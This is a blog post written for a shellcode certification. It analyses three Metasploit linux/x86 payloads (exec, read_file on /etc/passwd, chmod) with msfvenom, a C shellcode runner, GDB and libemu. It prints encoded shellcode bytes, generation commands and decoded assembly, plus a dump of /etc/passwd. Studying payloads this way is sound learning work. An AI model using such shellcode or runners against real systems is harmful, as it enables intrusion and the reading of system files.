Home SLAE32: Analyzing MSF payloads for linux/x86
Post
Cancel

SLAE32: Analyzing MSF payloads for linux/x86

The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990

Assignment #5


Description

  • Take up at least 3 shellcode samples created using msfpayload/msfvenom for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis

The following three msfvenom payloads were analyzed:
Sample1: linux/x86/exec
Sample2: linux/x86/read_file
Sample3: linux/x86/chmod

Sample1: linux/x86/exec

To generate a payload with the linux/x86/exec payload I executed the following command to generate shellcode that could be placed into my test C program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[sengen@manjaro-x86 sample1]$ msfvenom -p linux/x86/exec cmd="pwd" -e x86/shikata_ga_nai -b '\x00' -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 66 (iteration=0)
x86/shikata_ga_nai chosen with final size 66
Payload size: 66 bytes
Final size of c file: 303 bytes
unsigned char buf[] =
"\xda\xc3\xba\x35\xb7\x98\xe3\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x0a\x83\xc0\x04\x31\x50\x16\x03\x50\x16\xe2\xc0\xdd\x93\xbb"
"\xb3\x70\xc2\x53\xee\x17\x83\x43\x98\xf8\xe0\xe3\x58\x6f\x28"
"\x96\x31\x01\xbf\xb5\x93\x35\xbb\x39\x13\xc6\xb4\x4e\x77\xc6"
"\x63\xe2\xfe\x27\x46\x84";

I then copied this into a test C program and made sure that it executed. If working properly it should print the current working directory (pwd).

NOTE: One thing to note here is that I have excluded null bytes as they don’t play well in shellcode. Due to this, the x86/shikata_ga_nai encoded has been used there will be additional assembly we need to work through before getting the the target assembly that will do our work.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xda\xc3\xba\x35\xb7\x98\xe3\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x0a\x83\xc0\x04\x31\x50\x16\x03\x50\x16\xe2\xc0\xdd\x93\xbb"
"\xb3\x70\xc2\x53\xee\x17\x83\x43\x98\xf8\xe0\xe3\x58\x6f\x28"
"\x96\x31\x01\xbf\xb5\x93\x35\xbb\x39\x13\xc6\xb4\x4e\x77\xc6"
"\x63\xe2\xfe\x27\x46\x84";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
1
2
3
4
[sengen@manjaro-x86 sample1]$ gcc pwd_payload.c -o pwd_payload
[sengen@manjaro-x86 sample1]$ ./pwd_payload
Shellcode Length:  66
/home/sengen/work/slae32/assignment5/sample1

Getting a general idea of the flow via LibEmu (sctest)

Running this gives us two things: Some sudo code that shows system calls that have occurred along with the parameters, second we are generating a graph file to visually represent what would be executing.

In this particular example it appears we are getting one call to execve that is executing “/bin/sh -c pwd”. We’ll walk through the assembly to observe how it got to this point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[sengen@manjaro-x86 sample1]$ msfvenom -p linux/x86/exec cmd="pwd" -e x86/shikata_ga_nai -b '\x00' -f raw | sctest -v -Ss 10000 -G pwd_payload.dot
...
int execve (
     const char * dateiname = 0x00416fc4 =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x00416fb4 =>
               = 0x00416fc4 =>
                   = "/bin/sh";
           = 0x00416fb8 =>
               = 0x00416fcc =>
                   = "-c";
           = 0x00416fbc =>
               = 0x00417038 =>
                   = "pwd";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Generated graph from LibEmu
Generated via the command dot pwd_payload.dot -Tpng -o pwd_payload.png. The graph here shows a loop that occurs prior to the instructions that actually do our execve. This loop is the decoder routine as a result of x86/shikata_ga_nai.

Stepping through shellcode with GDB

Decoder scheme

The shellcode starts by moving into a loop where the shellcode is decoded in full dword segments (4 bytes at a time). When this process is complete the it will move on to the actual shellcode to perform the “pwd” command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[sengen@manjaro-x86 assignment5]$ gdb ./pwd_payload

gdb$ disassembdisassemble &code
Dump of assembler code for function code:
=> 0x00402040 <+0>:	fcmovb st,st(3)
   0x00402042 <+2>:	mov    edx,0xe398b735
   0x00402047 <+7>:	fnstenv [esp-0xc]
   0x0040204b <+11>:	pop    eax
   0x0040204c <+12>:	sub    ecx,ecx
   0x0040204e <+14>:	mov    cl,0xa
   0x00402050 <+16>:	add    eax,0x4                    ; decoder loop
   0x00402053 <+19>:	xor    DWORD PTR [eax+0x16],edx   ; decoder loop
   0x00402056 <+22>:	add    edx,DWORD PTR [eax+0x16]   ; decoder loop
   0x00402059 <+25>:	loop   0x40201b                   ; decoder loop
   ...
   instructions below here will be XOR'ed
End of assembler dump.

Setting up the call

We start to push onto the stack the first two pieces of the command. The “-c” is pushed to the stack and the stack location and stored into EDI. The “/bin/sh” is pushed onto the stack and the stack location is stored into EBX.

A CALL at 0x00402078 is performed. The purpose of this is so that the stack contains the next address which is 0x00402078 which happens to contain a pointer to the text “pwd”.

1
2
3
4
5
6
7
8
9
10
11
12
=> 0x0040205b <+27>:	push   0xb                        ; 0xb = execve
   0x0040205d <+29>:	pop    eax                        ; 0xb = execve
   0x0040205e <+30>:	cdq                               ; EDX=0x0 (EAX extend)
   0x0040205f <+31>:	push   edx                        ; push 0x0 to stack
   0x00402060 <+32>:	pushw  0x632d                     ; "-c"
   0x00402064 <+36>:	mov    edi,esp                    ; edi = pointer to stack
   0x00402066 <+38>:	push   0x68732f                   ; "/sh"
   0x0040206b <+43>:	push   0x6e69622f                 ; "/bin"
   0x00402070 <+48>:	mov    ebx,esp                    ; ebx = pointer to stack
   0x00402072 <+50>:	push   edx                        ; push 0x0 to stack
   0x00402073 <+51>:	call   0x40207c <code+60>         ; 0x00402078 => "pwd"
   0x00402078 <+56>:	jo     0x4020f1

Now that the stack contains [0x00402078 0x00000000] which is effectively “pwd\0” we perform two more pushes to setup the full command that we’ll send to the execve system call.

After these instructions ECX will point to [0xbffff012, 0xbffff01a, 0x00402078, 0x00000000] on the stack.

1
2
3
   0x40207c <code+60>:	push   edi                        ; pushes "-c" address
   0x40207d <code+61>:	push   ebx                        ; pushes "/bin/sh" address
   0x40207e <code+62>:	mov    ecx,esp                    ; moves pointer to stack to ecx

We finally make our call to execve which prints the current working directory.

1
   0x402080 <code+64>:	int    0x80                       ; calls execve

Sample2: linux/x86/read_file

To generate a payload with the linux/x86/read_file payload I executed the following command to generate shellcode that could be placed into my test C program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[sengen@manjaro-x86 sample2]$ msfvenom -p linux/x86/read_file fd=1 path=/etc/passwd -b '\x00' -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 100 (iteration=0)
x86/shikata_ga_nai chosen with final size 100
Payload size: 100 bytes
Final size of c file: 445 bytes
unsigned char buf[] =
"\xba\xb0\xf6\x73\xfc\xda\xc6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x13\x83\xc6\x04\x31\x56\x0f\x03\x56\xbf\x14\x86\x17\x89\x60"
"\x6c\xe8\xf5\x90\x34\xd9\x3c\x5d\x4a\x90\x7d\xe6\x48\xa3\x81"
"\x17\xc6\x44\x08\xee\x62\x8a\x1a\x11\x93\x46\x9a\x98\x51\xe0"
"\x9e\x9a\x55\x11\x25\x9b\x55\x11\x59\x51\xd5\xa9\x58\x69\xd6"
"\xc9\xe1\x69\xd6\xc9\x15\xa7\x56\x21\xd0\xc8\xa8\x4d\xf5\x53"
"\x23\xd1\x26\xec\xaa\x66\x4b\x7b\x49\x89";

Copied the shellcode to a test program and made sure it worked

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[sengen@manjaro-x86 sample2]$ gcc readfile_payload.c -o readfile_payload
[sengen@manjaro-x86 sample2]$ ./readfile_payload
Shellcode Length:  100
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin
ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin
http:x:33:33:http:/srv/http:/usr/bin/nologin
dbus:x:81:81:dbus:/:/usr/bin/nologin
nobody:x:99:99:nobody:/:/usr/bin/nologin
systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin
systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin
systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin
systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin
systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/sbin/nologin
systemd-journal-upload:x:997:997:systemd Journal Upload:/:/sbin/nologin
systemd-journal-remote:x:999:999:systemd Journal Remote:/:/sbin/nologin
uuidd:x:68:68::/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/dev/null:/bin/false
dnsmasq:x:996:996:dnsmasq daemon:/:/sbin/nologin
avahi:x:84:84:avahi:/:/bin/nologin
polkitd:x:102:102:Policy Kit Daemon:/:/usr/bin/nologin
rtkit:x:133:133:RealtimeKit:/proc:/bin/false
usbmux:x:140:140:usbmux user:/:/sbin/nologin
colord:x:124:124::/var/lib/colord:/bin/false
gdm:x:120:120:Gnome Display Manager:/var/lib/gdm:/sbin/nologin
ntp:x:87:87:Network Time Protocol:/var/lib/ntp:/bin/false
nm-openconnect:x:995:995:NetworkManager OpenConnect:/:/usr/bin/nologin
nm-openvpn:x:994:994:NetworkManager OpenVPN:/:/usr/bin/nologin
sengen:x:1000:1000:sengen:/home/sengen:/bin/bash
git:x:993:993:git daemon user:/:/bin/bash
postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash

Analyzing program with GDB

Similar to the first sample, some encoding is happening on the shellcode so when we dump the assembly before running anything it will show the decoder routine followed by nonsensical instructions that have yet to be XOR’ed back to something useful.

Decoding

Our decode loop looks like the following

1
2
3
4
0x00402050 <+16>:	add    esi,0x4
0x00402053 <+19>:	xor    DWORD PTR [esi+0xf],edx
0x00402056 <+22>:	add    edx,DWORD PTR [esi+0xf]
0x00402059 <+25>:	loop   0x402050 <code+16>

Getting memory location to the file path

To acquire the string “/etc/passwd” the msfvenom payload is using a jump/call trick.

1
0x0040205b <+27>:	jmp    0x402093 <code+83>   ; jump ahead near our string

We land on the following instruction where we just turn around and make a call back to where we came from. By making a call like this the next memory address is pushed on the stack which happens to be where our string “/etc/passed” is stored.

1
0x402093 <code+83>:	call   0x40205d <code+29>

There is no intent to return from the above call as we’ll now pop the address into EBX for use in our “open” system call. The system call is defined as:

1
int open(const char *pathname, int flags);

EBX contains the pathname
ECX contains the flags

1
2
3
4
0x0040205d <+29>:	mov    eax,0x5              ; value of "open" system call
0x00402062 <+34>:	pop    ebx                  ; get the address to "/etc/passwd"
0x00402063 <+35>:	xor    ecx,ecx              ; zero out ecx
0x00402065 <+37>:	int    0x80                 ; #define __NR_open 5

Now that the file has been opened we can perform a read of the contents into a 4096 byte buffer. The “open” system call returned to us a file descriptor (3) that we can now use for reading. The “read” system call is defined as:

1
ssize_t read(int fd, void *buf, size_t count);

The resulting content that was read will be pointed to by ECX.

1
2
3
4
5
6
0x00402067 <+39>:	mov    ebx,eax              ; ebx = 3
0x00402069 <+41>:	mov    eax,0x3              ; eax = 3 (already was)
0x0040206e <+46>:	mov    edi,esp              ; edi = pointer to stack
0x00402070 <+48>:	mov    ecx,edi              ; ecx = pointer to stack
0x00402072 <+50>:	mov    edx,0x1000           ; edx = 4096
0x00402077 <+55>:	int    0x80                 ; #define __NR_read 3

Now that the content is stored in our buffer it will be written to the stdcout pre-defined file descriptor (1). The “write” system call is defined as:

1
ssize_t write(int fd, const void *buf, size_t count);

At this point it is a matter of writing the buffer pointed to by ECX to STDOUT which will show the content on the console.

1
2
3
4
0x00402079 <+57>:	mov    edx,eax              ; edx = read return value
0x0040207b <+59>:	mov    eax,0x4              ; eax = 4 // write
0x00402080 <+64>:	mov    ebx,0x1              ; ebx = 1 // STDOUT
0x00402085 <+69>:	int    0x80	                ; #define __NR_write 4

Sample3: linux/x86/chmod

To generate a payload with the linux/x86/chmod payload I executed the following command to generate shellcode that could be placed into my test C program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[sengen@manjaro-x86 sample3]$ msfvenom -p linux/x86/chmod file=/tmp/test.txt mode=0755 -b '\x00' -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 65 (iteration=0)
x86/shikata_ga_nai chosen with final size 65
Payload size: 65 bytes
Final size of c file: 299 bytes
unsigned char buf[] =
"\xbd\x58\xd7\xe5\xe6\xd9\xed\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
"\x0a\x31\x68\x14\x83\xe8\xfc\x03\x68\x10\xba\x22\x7c\x8c\x35"
"\x95\x2d\xb9\x47\x25\xd2\x39\x78\x51\xbf\x49\xa9\xed\x5a\xd9"
"\xc1\x23\xd1\x65\x5d\x3c\x42\xfe\x70\x3d\x74\xfe\xd3\xf3\xf4"
"\x94\xe2\x53\x38\xe8";

Copied the shellcode to a test program and made sure it worked

Once compiled with GCC I created a temp file and that defaulted to 644 and ran the shellcode against it to change it to 755.

1
2
3
4
5
6
7
8
[sengen@manjaro-x86 sample3]$ gcc chmod_payload.c -o chmod_payload
[sengen@manjaro-x86 sample3]$ touch /tmp/test.txt
[sengen@manjaro-x86 sample3]$ ll /tmp/test.txt
-rw-r--r-- 1 sengen sengen 0 Jan 20 19:06 /tmp/test.txt
[sengen@manjaro-x86 sample3]$ ./chmod_payload
Shellcode Length:  65
[sengen@manjaro-x86 sample3]$ ll /tmp/test.txt
-rwxr-xr-x 1 sengen sengen 0 Jan 20 19:06 /tmp/test.txt

Creating a graph with LibEmu

1
2
[sengen@manjaro-x86 sample3]$ msfvenom -p linux/x86/chmod file=/tmp/test.txt mode=0755 -b '\x00' -f raw | sctest -v -Ss 10000 -G chmod_payload.dot
[sengen@manjaro-x86 sample3]$ dot chmod_payload.dot -Tpng -o chmod_payload.png

The graph of program flow shows the shakita_ga_nai decoder followed by the setup for the chmod system call and finally an exit system call.

Viewing the assembly in GDB

As we saw in the program flow graph above there is a loop where we decode our bytes. The decoding loop was identified as the instructions below:

1
2
3
4
0x00402050 <+16>:	xor    DWORD PTR [eax+0x14],ebp
0x00402053 <+19>:	sub    eax,0xfffffffc
0x00402056 <+22>:	add    ebp,DWORD PTR [eax+0x10]
0x00402059 <+25>:	loop   0x402050 <code+16>

We set EAX to 15 which is the chmod system call number and push a null byte to the stack. The CALL statement will push the address of the next instruction onto the stack. This address happens to be a pointer to our string “/tmp/test.txt”.

1
2
3
4
5
0x0040205b <+27>:	cdq                         ; edx = 0 (eax extend)
0x0040205c <+28>:	push   0xf                  ; push 15 to stack
0x0040205e <+30>:	pop    eax                  ; eax = 15
0x0040205f <+31>:	push   edx                  ; push null byte to stack
0x00402060 <+32>:	call   0x402073 <code+51>   ; jump to +51

We immediately pop the address to our path string from the stack into EBX. We set our mode of 755 (octal) in hex which is 0x1ED and finally interrupt.

1
2
3
4
0x00402073 <+51>:	pop    ebx                  ; ebx = "/tmp/test.txt"
0x00402074 <+52>:	push   0x1ed                ; 755 in octal (mode)
0x00402079 <+57>:	pop    ecx                  ; ecx = mode
0x0040207a <+58>:	int    0x80                 ; #define __NR_chmod 15

Lastly, we set EAX to 1 in order to perform an exit system call.

1
2
3
0x0040207c <+60>:	push   0x1                  ; push 1 to stack
0x0040207e <+62>:	pop    eax                  ; eax = 1
0x0040207f <+63>:	int    0x80                 ; #define __NR_exit 1

Source code

All source code for this assignment can be found at
https://github.com/tdmathison/SLAE32/tree/master/assignment5.

This post is licensed under CC BY 4.0 by the author.